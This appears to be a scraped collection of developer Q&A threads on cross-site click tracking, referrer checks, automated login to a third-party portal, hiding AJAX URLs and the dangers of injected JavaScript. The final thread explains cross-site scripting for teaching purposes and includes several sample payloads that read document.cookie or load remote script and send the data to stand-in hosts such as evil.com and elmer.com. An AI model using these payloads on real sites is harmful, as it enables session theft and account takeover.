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Javascript - get click another site page link?

I want to know if my website user click in a link in another website so I can show him a thank you message.
I want to get this click in another website link. Is it possible? How can I do something like this?
Thank you

Your question doesn't state whether you control the link you are trying to monitor, or if you are trying to monitor a link controlled by a third-party website. I'm going to assume the later, but if you control the link, then see the first comment to your answer.
The short version is that there is no way to independently monitor a user's action on another website from within your own. To allow this would violate some of the fundamental tenants that networking and the Internet are based on. For example, if I host the website www.reallyCoolRocksToBuy.com and I want to know whether or not you just purchased a really cool rock on Amazon after viewing it on my site, there is no way to directly get this data even though both my website and Amazon's are open in your browser at the same time.
The highest level object you can access via Java or HTML normally (there are always some exceptions) is the Window object of your own page. There used to be a way to have some control over a third-party page that was launched in a window that you spawned, but this is no longer possible, and even it it was, you still wouldn't be able to monitor any links from that site.
The only way to achieve what you want is for the third-party site to be involved in the communication. Many sites have APIs for sending and receiving referral or link information. For example, Amazon has an API that you can use when someone clicks on an Amazon link from your site. There are a number of ways this is achieved, but basically your link sends a specially encoded string to Amazon identifying your site as the referrer. Amazon can this use this string to create and share session information from the visitor. Depending on what your relationship was with Amazon, you might be able to use this session information to find out if your user purchased a pretty rock from Amazon, but it would be entirely up to Amazon to share this information.
Cookies and other local data can also be used to achieve similar results, but again, you have to have the cooperation of the site.

How to restrict a Web page to only open when a request for it comes from a specific referrer

I'm writing a new JavaScript based Web app, which I need to secure in the following specific manner:
I should only allow for my app's index.html to be served if the request for it comes from a specific site.
By doing that, I will be forcing my users to go to that specific corporate site first, which will require for them to authenticate. Once the user is logged onto that site, they are provided with a link to my app. If my app's index.html is requested in any other way, beside following that corporate link, I would like to redirect the user to that corporate site.
How can this be accomplished?

You can use document.referrer to get the referral page. Once you get that from your corporate site you can probably put in some logic to redirect to the corporate site if it doesn't match where you're expecting.
Something tells me this isn't the best way to handle user authentication, but I'm new to that aspect.
Note: I'm on my phone, so excuse lack of code tags for that tiny bit up there.

Set a variable to the document.referrer().Then check the condition properly to determine if the referrer is in the proper page and if its not do a redirect..

automatic login to a website

I have got a 3rd party website, which my customer wants to me to login into in order to download some data periodicaly.
The data is customer specific, and password protected.
I have the username/password, and I have searched for ways to do the login automatically so that I can pull data, but so far with no success.
This is a method that I have tried:
http://crunchify.com/automatic-html-login-using-post-method-autologin-a-website-on-double-click/
When I look into the login page of the website which I am trying to login to (view source), I don't see the login form, but if I click on "inspect element" in chrome on the fields of the page it does show that there is a login form hiding in there.
Any suggestions
Edit:
Here is the website which I need to autologin to: http://portal.dorad.co.il/#/Login unfortunatlly it's not in english. The first field is the username, the second field is the password and the button is the login
Edit2:
Taking pomeh's advice, I was able to find the jQuery code that is being triggerted when the text boxes are being modified. Now I want to run this script manually using element.DomContainer.Eval
(function(n,t){function vi(n){var t=n.length,r=i.type(n);return i.isWindow(n)?!1:1===n.nodeType&&t?!0:"array"===r||"function"!==r&&(0===t||"number"==typeof t&&t>0&&t-1 in n)}function ne(n){var t=li[n]={};return i.each(n.match(s)||[],function(n,i){t[i]=!0}),t}function uu(n,r,u,f){if(i.acceptData(n)){var s,h,c=i.expando,a="string"==typeof r,l=n.nodeType,o=l?i.cache:n,e=l?n[c]:n[c]&&c;if(e&&o[e]&&(f||o[e].data)||!a||u!==t)return e||(l?n[c]=e=tt.pop()||i.guid++:e=c),o[e]||(o[e]={},l||(o[e].toJSON=i.noop)),("object"==typeof r||"function"==typeof r)&&
...
(t=n(this);r=r.not(t),t.removeData(f),r.length||clearTimeout(c)},add:function(t){function s(t,u,e){var s=n(this),o=n.data(this,f);o.w=u!==i?u:s.width(),o.h=e!==i?e:s.height(),r.apply(this,arguments)}if(!u[o]&&this[e])return!1;var r;if(n.isFunction(t))return r=t,s;r=t.handler,t.handler=s}}}(jQuery,this)
I am not sure how to activate it and give it the relevant data.

If you have the right mix of technical requirements then you want Single-Site-Sign-On (SSSO).
Not all of my clients have SSL and I don't want my user name and password on all of their sites. They are however all on the same server. Since my site supports SSL I can log in to my own site securely.
What you need to do conceptually speaking is log the IP of the administrator account along with the data/time stamp. Then if you visit your client's website (again, on the same server) from that same IP you can have your scripting language check the file. I require a short time-span (anywhere between 30 seconds to two minutes tops) and the same IP address. You can add additional technical requirements to strengthen security of course though your options will be limited as the domain name will be different. If the IP matches the criteria emulate the user being authenticated (static obviously since you likely won't/shouldn't have your administrative account information on their site) and you can be automatically signed in.

Maybe you could do this using a web scraping framework like:
Goutte for PHP (https://github.com/fabpot/goutte)
Scrapy for Python (http://scrapy.org/)
node.io for Node.js (https://github.com/chriso/node.io)
request for Node.js (https://github.com/mikeal/request)
WatiN for .Net (http://watin.org/)
In any case, I think a client side solutions will bring a lot of problems to do this. Maybe you can login into it using a form tag which points to the page, but you won't be able to manipulate the page afterwards. Also, you may not be able to use AJAX due to CORS restriction. You could embed the target page as an iframe but you can't either manipulate the page because of differents domains used (you can do that under certains conditions but it's hard to achieve this imho). So a server side solutions sounds better to me.

Hide urls in html/javascript file

I am using ajax in my website and in order to use the ajax, I habe to write the name of the file for example:
id = "123";
$.getJSON(jquerygetevent.php?id=" + id, function(json)
{
//do something
});
how can I protect the url? I dont want people to see it and use it...

that is a limitation of using client side scripts. there is no real way to obfuscate it from the user there are many ways to make it less readable (minify etc) but in the end an end-user can still view the code

Hi Ron and welcome to the internet. The internet was (to quote Wikipedia on the subject)
The origins of the Internet reach back to research of the 1960s, commissioned by the United States government in collaboration with private commercial interests to build robust, fault-tolerant, and distributed computer networks. The funding of a new U.S. backbone by the National Science Foundation in the 1980s, as well as private funding for other commercial backbones, led to worldwide participation in the development of new networking technologies, and the merger of many networks. The commercialization of what was by the 1990s an international network resulted in its popularization and incorporation into virtually every aspect of modern human life.
Because of these origins, and because of the way that the protocols surrounding HTTP resource identification (like for URLs) there's not really any way to prevent this. Had the internet been developed as a commercial venture initially (think AOL) then they might have been able to get away with preventing the browser from showing the new URL to the user.
So long as people can "view source" they can see the URLs in the page that you're referring them to visit. The best you can do is to obfuscate the links using javascript, but at best that's merely an annoyance. What can be decoded for the user can be decoded for a bot.
Welcome to the internet, may your stay be a long one!

I think the underlying issue is why you want to hide the URL. As everyone has noted, there is no way to solve the actual resolved URL. Once it is triggered, FireBug gives you everything you need to know.
However, is the purpose to prevent a user from re-using the URL? Perhaps you can generate one-time, session-relative URLs that can only be used in the given HTTP Session. If you cut/paste this URL to someone else, they would be unable to use it. You could also set it to expire if they tried to Refresh. This is done all the time.
Is the purpose to prevent the user from hacking your URL by providing a different query parameter? Well, you should be handling that on the server side anyways, checking if the user is authorized. Even before activating the link, the user can use a tool like FireBug to edit your client side code as much as they want. I've done this several times to live sites when they're not functioning the way I want :)
UPDATE: A HORRIBLE hack would be to drop an invisible Java Applet on the page. They can also trigger requests and interact with Javascript. Any logic could be included in the Applet code, which would be invisible to the user. This, however, introduces additional browser compatibility issues, etc, but can be done. I'm not sure if this would show up in Firebug. A user could still monitor outgoing traffic, but it might be less obvious. It would be better to make your server side more robust.

Why not put some form of security on your php script instead, check a session variable or something like that?
EDIT is response to comment:
I think you've maybe got the cart before the horse somehow. URLs are by nature public addresses for resources. If the resource shouldn't be publicly consumable except in specific instances (i.e. from within your page) then it's a question of defining and implementing security for the resource. In your case, if you only want the resource called once, then why not place a single use access key into the calling page? Then the resource will only be delivered when the page is refreshed. I'm unsure as to why you'd want to do this though, does the resource expose sensitive information? Is it perhaps very heavy on the server to run the script? And if the resource should only be used to render the page once, rather than update it once it's rendered, would it perhaps be better to implement it serverside?

you can protect (hide) anything on client, just encrypt/encode it into complicated format to real human

What harm can javascript do?

I just happen to read the joel's blog here...
So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.
Since javascript runs on client end. All it can access or do is only on the client end.
It can read informations stored in hidden fields and change them.
It can read, write or manipulate cookies...
But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server...
Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.
Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.

Cross Site Scripting is a really big issue with javascript injection

It can read, write or manipulate cookies
That's the crucial part. You can steal cookies like this: simply write a script which reads the cookie, and send it to some evil domain using AJAX (with JSONP to overcome the cross domain issues, I think you don't even need to bother with ajax, a simple <img src="http://evil.com/?cookieValue=123"> would suffice) and email yourself the authentication cookie of the poor guy.

I think what Joel is referring to in his article is that the scenario he describes is one which is highly vulnerable to Script Injection attacks, two of the most well known of which are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
Since most web sites use cookies as part of their authentication/session management solution, if a malicious user is able to inject malicious script into the page markup that is served to other users, that malicious user can do a whole host of things to the detriment of the other users, such as steal cookies, make transactions on their behalf, replace all of your served content with their own, create forms that imitate your own and post data to their site, etc, etc.

There are answers that explain CSRF and XSS. I'm the one to say that for the particular quoted passage, there is no security threat at all.
That quoted passage is simple enough -- it allows you to execute some JavaScript. Congratulations -- I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.
I really think Joel wasn't really sober when writing that. The example was just plain misleading.
Edit some more elaborations:
We should keep several things in mind:
Code cannot do any harm unless executed.
JavaScript can only be executed on client side (Yes there are server-side JavaScript, but apparently not in the context of this question/article)
If the user writes some JavaScript, which then gets executed on his own machine -- where's the harm? There is none, because he can execute JavaScript from Firebug anytime he wants without going through a text box.
Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B's machine.
Almost all answers that directly answer the question "What harm can JavaScript do?" explain in the direction of CSRF -- which requires User A being able to write code that User B can execute.
So here's a more complete, two part answer:
If we're talking about the quoted passage, the answer is "no harm"
I do not interpret the passage's meaning to mean something like the scenario described above, since it's very obviously talking about a basic "Hello, Elmer world" example. To synthetically induce implicit meanings out of the passage just makes it more misleading.
If we're talking about "What harm can JavaScript do, in general," the answer is related to basic XSS/CSRF
Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B's machine) can take place
A Web page takes parameters from GET. An attacker can lure a victim to visit http://foo.com/?send_password_to=malicious.attacker.com
A Web page displays one user's generated content verbatim to other users. An attacker could put something likm this in his Avatar's URL: <script>send_your_secret_cookies_to('http://evil.com')</script> (this needs some tweaking to get pass quoting and etc., but you get the idea)

Cause your browser to sent requests to other services using your authentication details and then send the results back to the attacker.
Show a big picture of a penis instead of your company logo.
Send any personal info or login cookies to a server without your consent.

I would look the wikipedia article on javascript security. It covers a number of vulnerabilities.

If you display data on your page that comes from a user without sanitizing that data first, it's a huge security vulnerability, and here's why:
Imagine that instead of "Hello, Elmer!", that user entered
<script src="http://a-script-from-another-site.js" type="text/javascript"></script>
and you're just displaying that information on a page somewhere without sanitizing it. That user can now do anything he wants to your page without other users coming to that page being aware. They could read the other users' cookie information and send it anywhere they want, they could change your CSS and hide everything on your page and display their own content, they could replace your login form with their own that sends information to any place they wish, etc. The real danger is when other users come to your site after that user. No, they can't do anything directly to your server with JavaScript that they couldn't do anyway, but what they can do is get access to information from other people that visit your site.
If you're saving that information to a database and displaying it, all users who visit that site will be served that content. If it's just content that's coming from a form that isn't actually saved anywhere (submitting a form and you're getting the data from a GET or POST request) then the user could maliciously craft a URL (oursite.com/whatsyourname.php?username=Elmer but instead of Elmer, you put in your JavaScript) to your site that contained JavaScript and trick another user into visiting that link.
For an example with saving information in a database: let's say you have a forum that has a log in form on the front page along with lists of posts and their user names (which you aren't sanitizing). Instead of an actual user name, someone signs up with their user name being a <script> tag. Now they can do anything on your front page that JavaScript will accomplish, and every user that visits your site will be served that bit of JavaScript.

Little example shown to me a while ago during XSS class..
Suppose Elmer is amateur hacker. Instead of writing his name in the box, he types this:
<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>
Now if the server keeps a log of the values written by users and some admin is logging in and viewing those values..... Elmer will get the cookie of that administrator!

Let's say a user would read your sourcecode and make his own tweak of for instance an ajax-call posting unwanted data to your server. Some developers are good at protecting direct userinput, but might not be as careful protecting database calls made from a ajax-call where the dev thinks he has control of all the data that is being sent trough the call.